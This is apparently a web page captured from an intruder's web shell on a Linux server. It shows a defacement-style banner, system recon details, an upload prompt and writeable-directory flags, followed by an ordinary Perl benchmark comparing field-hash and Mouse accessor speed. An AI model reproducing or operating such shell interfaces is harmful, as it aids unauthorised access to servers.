Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Hash-FieldHash/benchmark/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Hash-FieldHash/benchmark/mouse.pl
#!perl -w
use strict;
use Benchmark qw(:all);

BEGIN{
	package M;
	use Mouse;

	has foo => (
		is => 'rw',
	);
	has bar => (
		is => 'rw',
	);
	has baz => (
		is => 'rw',
	);
	__PACKAGE__->meta->make_immutable;
}
BEGIN{
	package HF;
	use Hash::FieldHash qw(:all);

	fieldhash my %foo => 'foo';
	fieldhash my %bar => 'bar';
	fieldhash my %baz => 'baz';
	sub new{ my $o; bless \$o, shift }

#	sub new{
#		my $class = shift;
#		my $self  = bless do{ \my $o }, $class;
#		return Hash::FieldHash::from_hash($self, @_);
#	}
}
BEGIN{
	package HUF;
	use Hash::Util::FieldHash::Compat qw(:all);
	fieldhashes \my(%foo, %bar, %baz);

	sub new{ my $o; bless \$o, shift }

	sub foo{
		@_ > 1 ? ($foo{$_[0]} = $_[1]) : $foo{$_[0]}
	}
	sub bar{
		@_ > 1 ? ($bar{$_[0]} = $_[1]) : $bar{$_[0]}
	}
	sub baz{
		@_ > 1 ? ($baz{$_[0]} = $_[1]) : $baz{$_[0]}
	}
}
printf "Perl %vd on $^O\n", $^V;

foreach my $count(1, 100){
	print "new, and access(read:write 11:3)*$count\n";
	cmpthese timethese -1 => {
		'H::F' => sub{
			my $o = HF->new();
			for(1 .. $count){
				$o->foo($_);
				$o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
				$o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
				$o->baz == ($_ * 5 * 5) or die $o->baz;
			}
		},
		'H::U::F' => sub{
			my $o = HUF->new();
			for(1 .. $count){
				$o->foo($_);
				$o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
				$o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
				$o->baz == ($_ * 5 * 5) or die $o->baz;
			}
		},
		'Mouse' => sub{
			my $o = M->new();
			for(1 .. $count){
				$o->foo($_);
				$o->bar($o->foo + $o->foo + $o->foo + $o->foo + $o->foo);
				$o->baz($o->bar + $o->bar + $o->bar + $o->bar + $o->bar);
				$o->baz == ($_ * 5 * 5) or die $o->baz;
			}
		},
	};
}

Hry